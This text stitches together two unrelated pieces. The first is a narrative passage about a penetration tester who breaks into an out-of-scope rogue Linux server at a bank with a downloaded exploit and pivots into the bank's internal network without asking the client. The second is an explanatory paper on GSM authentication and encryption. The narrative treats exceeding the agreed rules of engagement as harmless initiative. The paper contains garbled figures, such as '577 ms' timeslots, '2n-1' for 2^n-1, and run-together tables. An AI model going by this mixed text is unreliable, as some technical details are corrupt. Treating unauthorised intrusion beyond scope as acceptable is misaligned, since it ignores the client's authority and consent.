    Next he scanned the perimeter of its networks, and there he struck gold, a computer running the Linux operating system. By now he had figured out that the bank did not use Linux for any of its systems. It had to be a rogue computer, and it was outside the bank’s firewalls. Further tests and probes confirmed that the computer was a rogue system which had been set up by one of the bank’s employees to host his personal website, vacation photos, and other information about himself, including pictures of the server sitting under his desk at his cube inside one of the bank’s buildings.
    Peck thought a few seconds, and what the heck. The rules of engagement couldn’t apply to a rogue computer, right? Besides, if he were to break in, he could learn more about this maverick box, perhaps get kudos for foiling some dire scheme. Like most Red Team types, hesitating until 9AM to confer with his customer wasn’t something that would exactly pop into his mind.
    Peck probed the Linux box further and identified several vulnerabilities. He found a matching exploit program on a hacker website, compiled and ran it. When he saw the pound sign prompt that meant he had spawned a root shell on the rogue box, he felt that same old rush that had been driving him since he was a kid breaking into electronic bulletin board systems. “It’s addictive,” he said.
    Peck took screen shots to document the break-in and chronologed his activities in detail to provide a good set of work papers. He soon determined that this Linux box was simply a personal toy, and quite against the bank’s rules. The culprit had made no effort to hide who he was, for inside, Peck found the name and address of the fellow who had set it up.

    Next Peck looked for additional network interfaces. Sure enough, the Linux box was dual homed, meaning it had two network interface cards (NICs). He quickly bridged a route through the second NIC and discovered the bank’s entire network spread naked before him. He had gotten inside the firewall. “It made me feel like an elite hacker,” he said. “I was 22, expensive office.” He spread his arms out like a Pentecostal preacher: “I had a head this big.”
    The client was thrilled with Peck’s report. Although the owner of that rogue computer had meant no harm, it had opened up a highway into the bank’s most sensitive systems. If Peck could break into the bank through it, so could a criminal. Later, Peck demonstrated to the customer how easily an attacker could use that kind of access to transfer funds out of the bank.
    However, after this success, Greggory Peck’s nightmares grew worse.
    “At some point in each dream,” he said, “I figure out how much money it would take to make stealing it worthwhile, $10 million. Then I would plan to move somewhere that there was no extradition. And then in my dream I’m running a penetration test. It’s so real, I see my commands on the screen, and I’m breaking into a clearinghouse. I understand how it works, SET, that’s secure electronic transactions.”
    “Right about the time I prepare to flee the country,” said Peck, “That’s when I always wake up. Sometimes that’s when, in my dream, I get caught. Then in my next dream I’m better, I don’t make the same mistake. But I always wake up before I get to dream that I’m living the high life. Often I’m drenched with sweat.
    “Even when I’m awake I would get the temptation. I’ll think it though, step by step. You get a god complex when you’ve had several successes breaking into banks.”
    Peck takes great pains to insulate himself from the dark side that comes along with such detailed knowledge of various computer security methodologies. These include staying active in both commercial and Federal research teams where the labors of your efforts are recognized by your peers and personal gratification in your work is obtained. He further removed himself from temptation by moving to the east coast taking a job with a Washington, DC area contractor protecting Department of Energy computers. In this role, he evaluated Symbiot Security’s risk based graduated response capability appliance, essentially a device capable of providing automated strike-back and cyberattack capabilities. Yes, an appliance that, when once configured, is fully automated, so the software has an available strike back technology.  It takes some degree of understanding and training to enable the strike back features and a comprehensive understanding of TCP/IP networking etc.
    One of Symbiot’s staff confessed to Peck that he was the one, back in July of 2001, who defaced a Defcon hackers’ convention website with faked photos featuring a hacker who used to wear a vampire suit.
    Greggory Peck has now documented 10+ years of helping protect and defend both commercial and government sector clients. Today he has his own company, All Safe Computers, headquartered in Waco, Texas. According to his company's website, “All Safe Computers specializes in providing a full complement of IT Services to fit a variety of needs for both residential and business customers. This includes services for your PC or laptop, computer repair, computer networking, computer and network support & much more.”

    GSM Security and Encryption.

    By Kumar Gaurav,B.Tech(E.C.E) ,New Delhi.

    1.0 Introduction

    The motivations for security in cellular telecommunications systems are to secure conversations and signaling data from interception as well as to prevent cellular telephone fraud. With the older analog-based cellular telephone systems such as the Advanced Mobile Phone System (AMPS) and the Total Access Communication System (TACS), it is a relatively simple matter for the radio hobbyist to intercept cellular telephone conversations with a police scanner. A well-publicized case involved a potentially embarrassing cellular telephone conversation with a member of the British royal family being recorded and released to the media. Another security consideration with cellular telecommunications systems involves identification credentials such as the Electronic Serial Number (ESN), which are transmitted "in the clear" in analog systems. With more complicated equipment, it is possible to receive the ESN and use it to commit cellular telephone fraud by "cloning" another cellular phone and placing calls with it. Estimates for cellular fraud in the U.S. in 1993 are as high as $500 million. The procedure wherein the Mobile Station (MS) registers its location with the system is also vulnerable to interception and permits the subscriber’s location to be monitored even when a call is not in progress, as evidenced by the recent highly-publicized police pursuit of a famous U.S. athlete.
    The security and authentication mechanisms incorporated in GSM make it the most secure mobile communication standard currently available, particularly in comparison to the analog systems described above. Part of the enhanced security of GSM is due to the fact that it is a digital system utilizing a speech coding algorithm, Gaussian Minimum Shift Keying (GMSK) digital modulation, slow frequency hopping, and Time Division Multiple Access (TDMA) time slot architecture. To intercept and reconstruct this signal would require more highly specialized and expensive equipment than a police scanner to perform the reception, synchronization, and decoding of the signal. In addition, the authentication and encryption capabilities discussed in this paper ensure the security of GSM cellular telephone conversations and subscriber identification credentials against even the determined eavesdropper.

    2.0 Overview of GSM

    GSM (group special mobile or general system for mobile communications) is the Pan-European standard for digital cellular communications. The Group Special Mobile was established in 1982 within the European Conference of Post and Telecommunication Administrations (CEPT). A Further important step in the history of GSM as a standard for a digital mobile cellular communications was the signing of a GSM Memorandum of Understanding (MoU) in 1987 in which 18 nations committed themselves to implement cellular networks based on the GSM specifications. In 1991 the first GSM based networks commenced operations. GSM provides enhanced features over older analog-based systems, which are summarized below:

    • Total Mobility: The subscriber has the advantage of a Pan-European system allowing him to communicate from everywhere and to be called in any area served by a GSM cellular network using the same assigned telephone number, even outside his home location. The calling party does not need to be informed about the called person's location because the GSM networks are responsible for the location tasks. With his personal chipcard he can use a telephone in a rental car, for example, even outside his home location. This mobility feature is preferred by many business people who constantly need to be in touch with their headquarters.
    • High Capacity and Optimal Spectrum Allocation: The former analog-based cellular networks had to combat capacity problems, particularly in metropolitan areas. Through a more efficient utilization of the assigned frequency bandwidth and smaller cell sizes, the GSM System is capable of serving a greater number of subscribers. The optimal use of the available spectrum is achieved through the application Frequency Division Multiple Access (FDMA), Time Division Multiple Access (TDMA), efficient half-rate and full-rate speech coding, and the Gaussian Minimum Shift Keying (GMSK) modulation scheme.
    • Security: The security methods standardized for the GSM System make it the most secure cellular telecommunications standard currently available. Although the confidentiality of a call and anonymity of the GSM subscriber is only guaranteed on the radio channel, this is a major step in achieving end-to- end security. The subscriber’s anonymity is ensured through the use of temporary identification numbers. The confidentiality of the communication itself on the radio link is performed by the application of encryption algorithms and frequency hopping which could only be realized using digital systems and signaling.
    • Services: The list of services available to GSM subscribers typically includes the following: voice communication, facsimile, voice mail, short message transmission, data transmission and supplemental services such as call forwarding.

    2.1 GSM Radio Channel

    The GSM standard specifies the frequency bands of 890 to 915 MHz for the uplink band, and 935 to 960 MHz for the downlink band, with each band divided up into 200 kHz channels. Other features of the radio channel interface include adaptive time alignment, GMSK modulation, discontinuous transmission and reception, and slow frequency hopping. Adaptive time alignment enables the MS to correct its transmit timeslot for propagation delay. GMSK modulation provides the spectral efficiency and low out-of-band interference required in the GSM system. Discontinuous transmission and reception refers to the MS powering down during idle periods and serves the dual purpose of reducing co-channel interference and extending the portable unit's battery life. Slow frequency hopping is an additional feature of the GSM radio channel interface which helps to counter the effects of Rayleigh fading and co-channel interference.

    2.2 TDMA Frame Structures, Channel Types, and Burst Types

    The 200 kHz channels in each band are further subdivided into 577 ms timeslots, with 8 timeslots comprising a TDMA frame of 4.6 ms. Either 26 or 51 TDMA frames are grouped into multiframes (120 or 235 ms), depending on whether the channel is for traffic or control data. Either 51 or 26 of the multiframes (again depending on the channel type) make up one superframe (6.12 s). A hyperframe is composed of 2048 superframes, for a total duration of 3 hours, 28 minutes, 53 seconds, and 760 ms. The TDMA frame structure has an associated 22-bit sequence number which uniquely identifies a TDMA frame within a given hyperframe. Figure 1 illustrates the various TDMA frame structures.


    Figure 1 TDMA Frame Structures

    The various logical channels which are mapped onto the TDMA frame structure may be grouped into traffic channels (TCHs) used to carry voice or user data, and control channels (CCHs) used to carry signaling and synchronization data. Control channels are further divided into broadcast control channels, common control channels, and dedicated control channels.
    Each timeslot within a TDMA frame contains modulated data referred to as a "burst". There are five burst types (normal, frequency correction, synchronization, dummy, and access bursts), with the normal burst being discussed in detail here. The bit rate of the radio channel is 270.833 kbit/sec, which corresponds to a timeslot duration of 156.25 bits. The normal burst is composed of a 3-bit start sequence, 116 bits of payload, a 26-bit training sequence used to help counter the effects of multipath interference, a 3-bit stop sequence required by the channel coder, and a guard period (8.25 bit durations) which is a "cushion" to allow for different arrival times of bursts in adjacent timeslots from geographically disperse MSs. Two bits from the 116-bit payload are used by the Fast Associated Control Channel (FACCH) to signal that a given burst has been borrowed, leaving a total of 114 bits of payload. Figure 2 illustrates the structure of the normal burst.


    Figure 2 Normal Burst Structure


    2.3 Speech Coding, Channel Coding, and Interleaving

    The speech coding algorithm used in GSM is based on a rectangular pulse excited linear predictive coder with long-term prediction (RPE-LTP). The speech coder produces samples at 20 ms intervals at a 13 kbps bit rate, producing 260 bits per sample or frame. These 260 bits are divided into 182 class 1 and 78 class 2 bits based on a subjective evaluation of their sensitivity to bit errors, with the class 1 bits being the most sensitive. Channel coding involves the addition of parity check bits and half-rate convolutional coding of the 260-bit output of the speech coder. The output of the channel coder is a 456-bit frame, which is divided into eight 57-bit components and interleaved over eight consecutive 114-bit TDMA frames. Each TDMA frame correspondingly consists of two sets of 57 bits from two separate 456-bit channel coder frames. The result of channel coding and interleaving is to counter the effects of fading channel interference and other sources of bit errors.

    3.0 Overview of Cryptography

    This section provides a brief overview of cryptography, with an emphasis on the features that appear in the GSM system.

    3.1 Symmetric Algorithms

    Symmetric algorithms are algorithms in which the encryption and decryption use the same key. For example, if the plaintext is denoted by the variable P, the ciphertext by C, the encryption with key x by the function Ex( ), and the decryption with key x by Dx( ), then the symmetric algorithms are functionally described as follows:
    C=Ex(P)
      P=Dx(C)
      P=Dx(Ex(P))
    
    For a good encryption algorithm, the security of the data rests with the security of the key, which introduces the problem of key management for symmetric algorithms. The most widely-known example of a symmetric algorithm is the Data Encryption Standard (DES). Symmetric encryption algorithms may be further divided into block ciphers and stream ciphers.

    3.1.1 Block Ciphers

    As the name suggests, block ciphers encrypt or decrypt data in blocks or groups of bits. DES uses a 56-bit key and processes data in 64- bit blocks, producing 64-bits of encrypted data for 64-bits of input, and vice-versa. Block algorithms are further characterized by their mode of operation, such as electronic code book (ECB), cipher block chaining (CBC) and cipher feedback (CFB). CBC and CFB are examples of modes of operation where the encryption of successive blocks is dependent on the output of one or more previous encryptions. These modes are desirable because they break up the one-to-one correspondence between ciphertext blocks and plaintext blocks (as in ECB mode). Block ciphers may even be implemented as a component of a stream cipher.

    3.1.2 Stream Ciphers

    Stream ciphers operate on a bit-by-bit basis, producing a single encrypted bit for a single plaintext bit. Stream ciphers are commonly implemented as the exclusive-or (XOR) of the data stream with the keystream. The security of a stream cipher is determined by the properties of the keystream. A completely random keystream would effectively implement an unbreakable one-time pad encryption, and a deterministic keystream with a short period would provide very little security.
    Linear Feedback Shift Registers (LFSRs) are a key component of many stream ciphers. LFSRs are implemented as a shift register where the vacant bit created by the shifting is a function of the previous states. With the correct choice of feedback taps, LFSRs can function as pseudo-random number generators. The statistical properties of LFSRs, such as the autocorrelation function and power spectral density, make them useful for other applications such as pseudo-noise (PN) sequence generators in direct sequence spread spectrum communications, and for distance measurement in systems such as the Global Positioning System (GPS). LFSRs have the additional advantage of being easily implemented in hardware.
    The maximal length sequence (or m-sequence) is equal to 2n-1 where n is the degree of the shift register. An example of a maximal length LFSR is shown below in Figure 3. This LFSR will generate the periodic m-sequence consisting of the following states (1111, 0111, 1011, 0101, 1010, 1101, 0110, 0011, 1001, 0100, 0010, 0001, 1000, 1100, 1110).


    Figure 3 Four-Stage Linear Feedback Shift Register

    In order to form an m-sequence, the feedback taps of an LFSR must correspond to a primitive polynomial modulo 2 of degree n. A number of stream cipher designs consist of multiple LFSRs with various interconnections and clocking schemes. The GSM A5 algorithm, used to encrypt voice and signaling data in GSM is a stream cipher based on three clock-controlled LFSRs.

    3.2 Public Key Algorithms

    Public key algorithms are characterized by two keys, a public and private key, which perform complementary functions. Public and private keys exist in pairs and ideally have the property that the private key may not be deduced from the public key, which allows the public key to be openly distributed. Data encrypted with a given public key may only be decrypted with the corresponding private key, and vice versa. This is functionally expressed as follows:
    C=Epub(P), P=Dpriv(C)
      C=Epriv(P), P=Dpub(C)
    
    Public key cryptography simplifies the problem of key management in that two parties may exchange encrypted data without having exchanged any sensitive key information. Digital Signatures also make use of public key cryptography, and commonly consist of the output of a one-way hash function for a message (discussed in Section 3.3) with a private key. This enables security features such as authentication and non- repudiation. The most common example of a public key algorithm is RSA, named after its inventors Rivest, Shamir, and Adleman. The security features of GSM, however, do not make use of any type of public key cryptography.

    3.3 One-Way Hash Functions

    Generally, one-way hash functions produce a fixed-length output given an arbitrary input. Secure one-way hash functions are designed such that it is computationally unfeasible to determine the input given the hash value, or to determine two unique inputs that hash to the same value. Examples of one-way hash functions include MD5 developed by Ron Rivest, which produces a 128-bit hash value, and the Secure Hash Algorithm (SHA) developed by the National Institutes of Standards and Technology (NIST), which produces a 160-bit output.
    A typical application of a one-way hash function is to compute a "message digest" which enables the receiver to verify the authenticity of the data by duplicating the computation and comparing the results. A hash function output encrypted with a public key algorithm forms the basis for digital signatures, such as NIST's Digital Signature Algorithm (DSA).
    A key-dependent one-way hash function requires a key to compute and verify the hash value. This is useful for authentication purposes, where a sender and receiver may use a key-dependent hash function in a challenge-response scheme. A key-dependent one-way hash function may be implemented by simply appending the key to the message and computing the hash value. Another approach is to use a block cipher in cipher feedback (CFB) mode, with the output being the last encrypted block (recall that in CFB mode a given block's output is dependent on the output of previous blocks). The A3 and A8 algorithms of GSM are key- dependent one-way hash functions. The GSM A3 and A8 algorithms are similar in functionality and are commonly implemented as a single algorithm called COMP128.

    4.0 Description of GSM Security Features

    The security aspects of GSM are detailed in GSM Recommendations 02.09, "Security Aspects," 02.17, "Subscriber Identity Modules," 03.20, "Security Related Network Functions," and 03.21, "Security Related Algorithms". Security in GSM consists of the following aspects: subscriber identity authentication, subscriber identity confidentiality, signaling data confidentiality, and user data confidentiality. The subscriber is uniquely identified by the International Mobile Subscriber Identity (IMSI). This information, along with the individual subscriber authentication key (Ki), constitutes sensitive identification credentials analogous to the Electronic Serial Number (ESN) in analog systems such as AMPS and TACS. The design of the GSM authentication and encryption schemes is such that this sensitive information is never transmitted over the radio channel. Rather, a challenge-response mechanism is used to perform authentication. The actual conversations are encrypted using a temporary, randomly generated ciphering key (Kc). The MS identifies itself by means of the Temporary Mobile Subscriber Identity (TMSI), which is issued by the network and may be changed periodically (i.e. during hand-offs) for additional security.
    The security mechanisms of GSM are implemented in three different system elements; the Subscriber Identity Module (SIM), the GSM handset or MS, and the GSM network. The SIM contains the IMSI, the individual subscriber authentication key (Ki), the ciphering key generating algorithm (A8), the authentication algorithm (A3), as well as a Personal Identification Number (PIN). The GSM handset contains the ciphering algorithm (A5). The encryption algorithms (A3, A5, A8) are present in the GSM network as well. The Authentication Center (AUC), part of the Operation and Maintenance Subsystem (OMS) of the GSM network, consists of a database of identification and authentication information for subscribers. This information consists of the IMSI, the TMSI, the Location Area Identity (LAI), and the individual subscriber authentication key (Ki) for each user. In order for the authentication and security mechanisms to function, all three elements (SIM, handset, and GSM network) are required. This distribution of security credentials and encryption algorithms provides an additional measure of security both in ensuring the privacy of cellular telephone conversations and in the prevention of cellular telephone fraud.
    Figure 4 demonstrates the distribution of security information among the three system elements, the SIM, the MS, and the GSM network. Within the GSM network, the security information is further distributed among the authentication center (AUC), the home location register (HLR) and the visitor location register (VLR). The AUC is responsible for generating the sets of RAND, SRES, and Kc which are stored in the HLR and VLR for subsequent use in the authentication and encryption processes.


    Figure 4 Distribution of Security Features in the GSM Network


    4.1 Authentication

    The GSM network authenticates the identity of the subscriber through the use of a challenge-response mechanism. A 128-bit random number (RAND) is sent to the MS. The MS computes the 32-bit signed response (SRES) based on the encryption of the random number (RAND) with the authentication algorithm (A3) using the individual subscriber authentication key (Ki). Upon receiving the signed response (SRES) from the subscriber, the GSM network repeats the calculation to verify the identity of the subscriber. Note that the individual subscriber authentication key (Ki) is never transmitted over the radio channel. It is present in the subscriber's SIM, as well as the AUC, HLR, and VLR databases as previously described. If the received SRES agrees with the calculated value, the MS has been successfully authenticated and may continue. If the values do not match, the connection is terminated and an authentication failure indicated to the MS. Figure 5 shown below illustrates the authentication mechanism.


    Figure 5 GSM Authentication Mechanism

    The calculation of the signed response is processed within the SIM. This provides enhanced security, because the confidential subscriber information such as the IMSI or the individual subscriber authentication key (Ki) is never released from the SIM during the authentication process.

    4.2 Signaling and Data Confidentiality

    The SIM contains the ciphering key generating algorithm (A8) which is used to produce the 64-bit ciphering key (Kc). The ciphering key is computed by applying the same random number (RAND) used in the authentication process to the ciphering key generating algorithm (A8) with the individual subscriber authentication key (Ki). As will be shown in later sections, the ciphering key (Kc) is used to encrypt and decrypt the data between the MS and BS. An additional level of security is provided by having the means to change the ciphering key, making the system more resistant to eavesdropping. The ciphering key may be changed at regular intervals as required by network design and security considerations. Figure 6 below shows the calculation of the ciphering key (Kc).


    Figure 6 Ciphering Key Generation Mechanism

    In a similar manner to the authentication process, the computation of the ciphering key (Kc) takes place internally within the SIM. Therefore sensitive information such as the individual subscriber authentication key (Ki) is never revealed by the SIM.
    Encrypted voice and data communications between the MS and the network is accomplished through use of the ciphering algorithm A5. Encrypted communication is initiated by a ciphering mode request command from the GSM network. Upon receipt of this command, the mobile station begins encryption and decryption of data using the ciphering algorithm (A5) and the ciphering key (Kc). Figure 7 below demonstrates the encryption mechanism.


    Figure 7 Ciphering Mode Initiation Mechanism


    4.3 Subscriber Identity Confidentiality

    To ensure subscriber identity confidentiality, the Temporary Mobile Subscriber Identity (TMSI) is used. The TMSI is sent to the mobile station after the authentication and encryption procedures have taken place. The mobile station responds by confirming reception of the TMSI. The TMSI is valid in the location area in which it was issued. For communications outside the location area, the Location Area Identification (LAI) is necessary in addition to the TMSI. The TMSI allocation/reallocation process is shown in Figure 8 below.



    Figure 8 TMSK Reallocation Mechanism


    5.0 Discussion

    This section evaluates and expands on the information presented in previous sections. Additional considerations such as export controls on crypography are discussed as well.

    5.1 GSM Encryption Algorithms

    A partial source code implementation of the GSM A5 algorithm was leaked to the Internet in June, 1994. More recently there have been rumors that this implementation was an early design and bears little resemblance to the A5 algorithm currently deployed. Nevertheless, insight into the underlying design theory can be gained by analyzing the available information. The details of this implementation, as well as some documented facts about A5, are summarized below:

    • A5 is a stream cipher consisting of three clock-controlled LFSRs of degree 19, 22, and 23.
    • The clock control is a threshold function of the middle bits of each of the three shift registers.
    • The sum of the degrees of the three shift registers is 64. The 64-bit session key is used to initialize the contents of the shift registers.
    • The 22-bit TDMA frame number is fed into the shift registers.
    • Two 114-bit keystreams are produced for each TDMA frame, which are XOR-ed with the uplink and downlink traffic channels.
    • It is rumored that the A5 algorithm has an "effective" key length of 40 bits.

    5.2 Key Length

    This section focuses on key length as a figure of merit of an encryption algorithm. Assuming a brute-force search of every possible key is the most efficient method of cracking an encrypted message (a big assumption), Table 1 shown below summarizes how long it would take to decrypt a message with a given key length, assuming a cracking machine capable of one million encryptions per second.


    Table 1 Brute-force key search times for various key sizes
    Key length in bits32405664128
    Time required to test all possible keys1.19 hours12.7 days2,291 years584,542 years10.8 x 10^24 years

    The time required for a 128-bit key is extremely large; as a basis for comparison the age of the Universe is believed to be 1.6x10^10 years. An example of an algorithm with a 128-bit key is the International Data Encryption Algorithm (IDEA). The key length may alternately be examined by determining the number of hypothetical cracking machines required to decrypt a message in a given period of time.


    Table 2 Number of machines required to search a key space in a given time
    Key length in bits1 day1 week1 year
    40132-
    56836,788119,1322,291
    642.14x10^83.04x10^6584,542
    1283.9x10^275.6x10^2610.8x10^24
    A machine capable of testing one million keys per second is possible by today’s standards. In considering the strength of an encryption algorithm, the value of the information being protected should be taken into account. It is generally accepted that DES with its 56-bit key will have reached the end of its useful lifetime by the turn of the century for protecting data such as banking transactions. Assuming that the A5 algorithm has an effective key length of 40 bits (instead of 64), it currently provides adequate protection for information with a short lifetime. A common observation is that the "tactical lifetime" of cellular telephone conversations is on the order of weeks.

    5.3 Export Restrictions on Encryption Technology

    The goal of the GSM recommendations is to provide a pan- European standard for digital cellular telecommunications. A consequence of this is that export restrictions and other legal restrictions on encryption have come into play. This is a hotly debated, highly political issue which involves the privacy rights of the individual, the ability of law enforcement agencies to conduct surveillance, and the business interests of corporations manufacturing cellular hardware for export.
    The technical details of the encryption algorithms used in GSM are closely held secrets. The algorithms were developed in Britain, and cellular telephone manufacturers desiring to implement the encryption technology must agree to non-disclosure and obtain special licenses from the British government. Law enforcement and Intelligence agencies from the U.S., Britain, France, the Netherlands, and other nations are very concerned about the export of encryption technology because of the potential for military application by hostile nations. An additional concern is that the widespread use of encryption technology for cellular telephone communications will interfere with the ability of law enforcement agencies to conduct surveillance on terrorists or organized criminal activity.
    A disagreement between cellular telephone manufacturers and the British government centering around export permits for the encryption technology in GSM was settled by a compromise in 1993. Western European nations and a few other specialized markets such as Hong Kong would be allowed to have the GSM encryption technology, in particular the A5/1 algorithm. A weaker version of the algorithm (A5/2) was approved for export to most other countries, including central and eastern European nations. Under the agreement, designated countries such as Russia would not be allowed to receive any functional encryption technology in their GSM systems. Future developments will likely lead to some relaxation of the export restrictions, allowing countries who currently have no GSM cryptographic technology to receive the A5/2 algorithm.

    6.0 Conclusion

    The security mechanisms specified in the GSM standard make it the most secure cellular telecommunications system available. The use of authentication, encryption, and temporary identification numbers ensures the privacy and anonymity of the system's users, as well as safeguarding the system against fraudulent use. Even GSM systems with the A5/2 encryption algorithm, or even with no encryption are inherently more secure than analog systems due to their use of speech coding, digital modulation, and TDMA channel access.

    7.0 Acronyms


    A3
    Authentication Algorithm
    A5
    Ciphering Algorithm
    A8
    Ciphering Key Generating Algorithm
    AMPS
    Advanced Mobile Phone System
    AUC
    Authentication Center
    BS
    Base Station
    CBC
    Cipher Block Chaining
    CEPT
    European Conference of Post and Telecommunication Administrations
    CFB
    Cipher Feedback
    CKSN
    Ciphering Key Sequence Number
    DES
    Data Encryption Standard
    DSA
    Digital Signature Algorithm
    ECB
    Electronic Code Book
    ETSI
    European Telecommunications Standards Institute
    GMSK
    Gaussian Minimum Shift Keying
    GSM
    Group Special Mobile
    HLR
    Home Location Register
    IMSI
    International Mobile Subscriber Identity
    Kc
    Ciphering Key
    Ki
    Individual Subscriber Authentication Key
    LAI
    Location Area Identity
    LFSR
    Linear Feedback Shift Register
    MoU
    Memorandum of Understanding
    MS
    Mobile Station
    MSC
    Mobile Switching Center
    NIST
    National Institute of Standards and Technology1
    OMS
    Operation and Maintenance Subsystem
    RAND
    Random Number
    RSA
    Rivest, Shamir, Adleman
    SHA
    Secure Hash Algorithm
    SRES
    Signed Response
    TACS
    Total Access Communications System
    TMSI
    Temporary Mobile Subscriber Identity
    VLR
    Visitor Location Register

    References

    1. Van der Arend, P. J. C., "Security Aspects and the Implementation in the GSM System," Proceedings of the Digital Cellular Radio Conference, Hagen, Westphalia, Germany, October, 1988.
    2. Biala, J., "Mobilfunk und Intelligente Netze," Friedr., Vieweg & Sohn Verlagsgesellschaft, 1994.
    3. Cooke, J.C.; Brewster, R.L., "Cyptographic Security Techniques for Digital Mobile Telephones," Proceedings of the IEEE International Conference on Selected Topics in Wireless Communications, Vancouver, B.C., Canada, 1992.
    4. European Telecommunications Standards Institute, Recommendation GSM 02.09, "Security Aspects".
    5. European Telecommunications Standards Institute, Recommendation GSM 02.17, "Subscriber Identity Module".
    6. European Telecommunications Standards Institute, Recommendation GSM 03.20, "Security Related Network Functions".
    7. Hodges, M.R.L., "The GSM Radio Interface," British Telecom Technology Journal, Vol. 8, No. 1, January 1990, pp. 31-43.
    8. Hudson, R.L., "Snooping versus Secrecy," Wall Street Journal, February 11, 1994, p. R14
    9. Schneier, B., "Applied Cryptography," J. Wiley & Sons, 1994.
    10. Williamson, J., "GSM Bids for Global Recognition in a Crowded Cellular World," Telephony, vol. 333, no. 14, April 1992, pp. 36-40.

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